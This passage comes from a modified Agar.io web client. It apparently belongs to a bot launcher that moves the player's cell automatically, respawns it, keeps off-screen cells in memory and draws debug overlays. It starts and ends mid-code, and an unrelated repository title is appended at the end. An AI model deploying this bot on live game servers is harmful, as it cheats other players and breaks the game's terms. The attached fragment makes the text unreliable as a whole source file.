(document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["Vilhena"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.bot
wuyinlei / ImmersiveStatusBar三种方式实现沉浸状态栏
